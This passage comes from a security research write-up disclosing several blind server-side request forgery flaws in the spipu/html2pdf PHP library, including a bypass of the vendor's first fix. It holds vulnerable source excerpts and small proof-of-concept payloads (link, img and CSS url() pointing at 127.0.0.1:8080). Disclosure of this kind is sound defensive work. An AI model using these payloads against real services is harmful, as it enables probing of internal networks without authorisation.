    protected $authorizedSchemes = ['file', 'http', 'https'];

    /**
     * @param string $path
     * @return void
     * @throws HtmlParsingException
     */
    public function checkValidPath(string $path): void
    {
        $path = trim(strtolower($path));
        $scheme = parse_url($path, PHP_URL_SCHEME);

        if ($scheme === null) {
            return;
        }

        if (in_array($scheme, $this->authorizedSchemes)) {
            return;
        }

        if (strlen($scheme) === 1 && preg_match('/^[a-z]$/i', $scheme)) {
            return;
        }

        throw new HtmlParsingException('Unauthorized path scheme');
    }
}

Vulnerability 2. Server Side Request Forgery (Blind SSRF) via the link tag and href attribute

Researcher: Aleksey Solovev

Description

Next we demonstrate a series of three server-side request forgery vulnerabilities, each with its own characteristics.

The first vulnerability is triggered by attempting to load CSS (Cascading Style Sheets).

We will demonstrate the exploitation of this vulnerability on version 5.3.0 of the spipu/html2pdf library.

Installing the vulnerable version of the spipu/html2pdf library

$ composer require spipu/html2pdf:5.3.0
Technical details

The extractStyle CSS function parses HTML markup that may be controlled by attackers. Following the regex-based parsing (markers 1 and 2), the function extracts the tag attributes (marker 3) and checks them for the expected values (marker 4).

Next, the $url variable will be initialized (marker 4) and then used for calling the native function file_get_contents (marker 6). This results in a server-side request execution.

Function for extracting cascading style sheets

class Css
{
    ...
    public function extractStyle($html)
    {
        // the CSS content
        $style = ' ';

        // extract the link tags, and remove them in the html code
        preg_match_all('/<link([^>]*)>/isU', $html, $match); // marker 1
        $html = preg_replace('/<link[^>]*>/isU', '', $html);
        $html = preg_replace('/<\/link[^>]*>/isU', '', $html);
        ...
        // analyse each link tag
        foreach ($match[1] as $code) { // marker 2
            $tmp = $this->tagParser->extractTagAttributes($code); // marker 3

            // if type text/css => we keep it
            if (isset($tmp['type']) && strtolower($tmp['type']) === 'text/css' && isset($tmp['href'])) { // marker 4

                // get the href
                $url = $tmp['href'];  // marker 5

                // get the content of the css file
                $this->checkValidPath($url);
                $content = @file_get_contents($url); // marker 6
                ...
            }
        }
        ...
    }
    ...
}
Exploitation

To demonstrate exploitation of this vulnerability, we will show the source code of the web application that includes the “link” tag with the “href” and “type” attributes set to “text/css”. The href attribute value is the target server’s local address on port 8080.

Web application source code

<?php

     require __DIR__ . '/vendor/autoload.php';

     use Spipu\Html2Pdf\Html2Pdf;

     $content = '<link href="http://127.0.0.1:8080" type="text/css"></link>';

     $html2pdf = new Html2Pdf();
     $html2pdf->writeHTML($content);
     $html2pdf->output();
?>

Note that an arbitrary web application is running on the target server on port 8080. This demonstrates that the attacker can reach an internal address and port of the server.

Starting the web application on port 8080 on the target server

user@machine:~$ mkdir app && python3 -m http.server 8080 -d ./app
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

The attacker accesses the web application script that generates the PDF file. The web application running on the same server on port 8080 receives a single loopback request with local address 127.0.0.1 when attempting to obtain the cascading style sheets.

Fix

A description of the fix will follow shortly.

Vulnerability 3. Server Side Request Forgery (Blind SSRF) via the img tag and the src attribute

Researcher: Aleksey Solovev

Description

Here we examine the classic case—executing a server-side request via an image.

We will demonstrate the exploitation of this vulnerability on version 5.3.0 of the spipu/html2pdf library.

Installing the vulnerable version of the spipu/html2pdf library

$ composer require spipu/html2pdf:5.3.0

Technical details

In the Html2Pdf class, there is a _drawImage method that takes the variable $src as its first argument; this variable is controlled by the attacker.

The $img variable can reach two different code paths where the native getimagesize function is called (marker 1 and marker 2). The getimagesize function determines the size of the specified image; for this, it needs to request data from the resource, which can lead to the execution of a server-side request.

The Html2Pdf _drawImage method

class Html2Pdf
{
    ...
    protected function _drawImage($src, $subLi = false)
    {
        ...
        if (strpos($src,'data:') === 0) {
            $src = base64_decode( preg_replace('#^data:image/[^;]+;base64,#', '', $src) );
            $infos = @getimagesizefromstring($src);
            $src = "@{$src}";
        } else {
            $this->parsingCss->checkValidPath($src);
            $infos = @getimagesize($src); // marker 1
        }
        ...
        // if the image does not exist, or can not be loaded
        if (!is_array($infos) || count($infos)<2) {
            ...
            // if we have a fallback Image, we use it
            if ($this->_fallbackImage) {
                $src = $this->_fallbackImage;
                $infos = @getimagesize($src);  // marker 2
                ...
            }
        }
        ...
    }
    ...
}
Exploitation

To demonstrate exploitation of this vulnerability, we will show the source code of the web application that includes the “img” tag with the “src” attribute. The value of the “src” attribute is the target server’s local address on port 8080.

Web application source code

<?php
     require __DIR__ . '/vendor/autoload.php';

     use Spipu\Html2Pdf\Html2Pdf;

     $content = "<img src='http://127.0.0.1:8080'>";

     $html2pdf = new Html2Pdf('P', 'A4', 'fr');
     $html2pdf->writeHTML($content);
     echo $html2pdf->output('example01.pdf');
?>

Note that an arbitrary web application is running on the target server on port 8080. This demonstrates that the attacker can reach an internal address and port of the server.

Starting the web application on port 8080 on the target server

user@machine:~$ mkdir app && python3 -m http.server 8080 -d ./app
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

The attacker accesses the web application script that generates the PDF file. The web application running on the same server on port 8080 will receive one loopback request at the local address 127.0.0.1 when attempting to obtain the size of the requested image.

When we addressed the script, we received a 500 Internal Server Error. However, we can see that a server-side request was executed.

Fix

Please be a little patient. When describing the next vulnerability, we will demonstrate the fix—and what happened after we analyzed the patch proposed by the vendor!

Vulnerability 4. Server-Side Request Forgery (Blind SSRF) via the CSS background property and the url function

Researcher: Aleksey Solovev

Description

The native getimagesize function is called again, which will lead to a server-side request execution, but under different circumstances.

We will demonstrate the exploitation of this vulnerability on version 5.3.0 of the spipu/html2pdf library.

Installing the vulnerable version of the spipu/html2pdf library

$ composer require spipu/html2pdf:5.3.0
Technical details

When the Html2Pdf::_drawRectangle method is called, the $iName variable is initialized from $background['image'] (marker 1). Next, $iName will be used when calling the native getimagesize function, which can lead to a server-side request execution.

The Html2Pdf _drawRectangle method

class Html2Pdf
{
    ...
    protected function _drawRectangle($x, $y, $w, $h, $border, $padding, $margin, $background)
    {
        ...
        // prepare the background image
        if ($background['image']) {
            $iName      = $background['image']; // marker 1
            ...
            // get the size of the image
            // WARNING : if URL, "allow_url_fopen" must turned to "on" in php.ini
            $imageInfos=@getimagesize($iName); // marker 2
            ...
        }
    ...
}

Note that an arbitrary web application is running on the target server on port 8080. This demonstrates that the attacker can reach an internal address and port of the server.

Starting the web application on port 8080 on the target server

user@machine:~$ mkdir app && python3 -m http.server 8080 -d ./app
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

The attacker accesses the web application script that generates the PDF file. The web application running on the same server on port 8080 receives a single loopback request with local address 127.0.0.1 when attempting to obtain the cascading style sheets.

Exploitation

To exploit this vulnerability, we will demonstrate the source code of the web application that contains the div tag with the style attribute. In the CSS, the background property will be set using the url() function. This function takes a value that contains the local address of the target server on port 8080.

Web application source code

<?php
    require __DIR__ . '/vendor/autoload.php';

    use Spipu\Html2Pdf\Html2Pdf;
    
    $content = '<div style="background: url(http://127.0.0.1:8080)">Hello World</div>';

    $html2pdf = new Html2Pdf('P', 'A4', 'fr');
    $html2pdf->writeHTML($content);
    echo $html2pdf->output('example01.pdf');
?>

As a result, the server returned a 500 Internal Server Error, but it successfully performed a server-side request.

Fix

Remember how, in this library, we discussed the Phar deserialization vulnerability and its subsequent fix? To recap, the Security class with the checkValidPath method was introduced.

The spipu/html2pdf library developer warns that the library does not control loaded resources.

The vendor added an auxiliary option to prevent Server-Side Request Forgery. Here, the developer using this library overrides the checkValidPath method of the SecurityInterface. The overridden method is needed to extend and customize the logic for processing the requested resource.

We will attach a screenshot of the final solution after all the issues we found in this library are fixed—and it is a good final solution! However, when analyzing the first version of this fix, we realized the story was not over yet.

Vulnerability 5. Server-Side Request Forgery (Blind SSRF) via the img tag and the src attribute

Researcher: Nikita Sveshnikov

Description

After analyzing the fix proposed by the vendor in version 5.3.1, we realized that it was not sufficient.

The vendor allowed the SecurityInterface to be implemented via a custom class. In this class, a developer can override the checkValidPath method intended for filtering resources. We found that this method does not provide full protection against server-side request forgery. The reason is that the library accesses the resource before the user’s SecurityInterface implementation takes effect.

We will demonstrate the exploitation of this vulnerability on version 5.3.1 of the spipu/html2pdf library.

Installing the vulnerable version of the spipu/html2pdf library

$ composer require spipu/html2pdf:5.3.1
Technical details

The SecurityInterface must ensure path validation before file loading.  For this, the checkValidPath method of the SecurityInterface is used (marker 1).

The request to obtain the image size (the native getimagesize function) will be executed after checking the path to the requested resource (marker 2). 

The Html2Pdf _drawImage method

class Html2Pdf
{
    ...
    protected function _drawImage($src, $subLi = false)
    {
        ...
        // get the size of the image
        // WARNING : if URL, "allow_url_fopen" must turn to "on" in php.ini

        if (strpos($src,'data:') === 0) {
            $src = base64_decode( preg_replace('#^data:image/[^;]+;base64,#', '', $src) );
            $infos = @getimagesizefromstring($src);
            $src = "@{$src}";
        } else {
            $this->security->checkValidPath((string) $src); // marker 1
            $infos = @getimagesize($src);  // marker 2
        }
            ...
     }
    ...
}

At first glance, everything looks correct: the path is checked before the request is executed. However, the key reason is the double call of the _drawImage method. The vulnerability was that, during the two calls of this method, different implementations of SecurityInterface were used—the default and the overridden one.

The debugger confirms that in the same call of $this->security, we see two different classes in two successive iterations:

  • First iteration: a Spipu\Html2Pdf\Security\Security instance
  • Second iteration: a SecurityLogger instance

Debugging console

$this->security
V Spipu\Html2Pdf\Security\Security
V  authorizedSchemes = array(3)
	0 = "file"
	1 = "http"
	2 = "https"
$this->security
V SecurityLogger

Let’s figure out why this happens.

In this library, the _makeHTMLcode function processes HTML tags. In this function, there is a loop that iterates over all tags, after which the $action variable is initialized (marker 1) and passed to the _executeAction method (marker 2).

The Html2Pdf _makeHTMLcode method

class Html2Pdf
{
    ...
    protected function _makeHTMLcode()
    {
        ...
        $amountHtmlCode = count($this->parsingHtml->code);
        // foreach elements of the parsing
        for ($this->_parsePos=0; $this->_parsePos<$amountHtmlCode; $this->_parsePos++) {
		    // get the action to do
            $action = $this->parsingHtml->code[$this->_parsePos]; // marker 1
            
            // if it is a opening of table / ul / ol
            if (in_array($action->getName(), array('table', 'ul', 'ol')) && !$action->isClose()) {
			...
			}

		    // execute the action
            $this->_executeAction($action) // marker 2
        }
     }
    ...
}

Let’s view the $this->parsingHtml->code variable in the debugging console:

Debugging console

$this->parsingHtml->code
V array(3)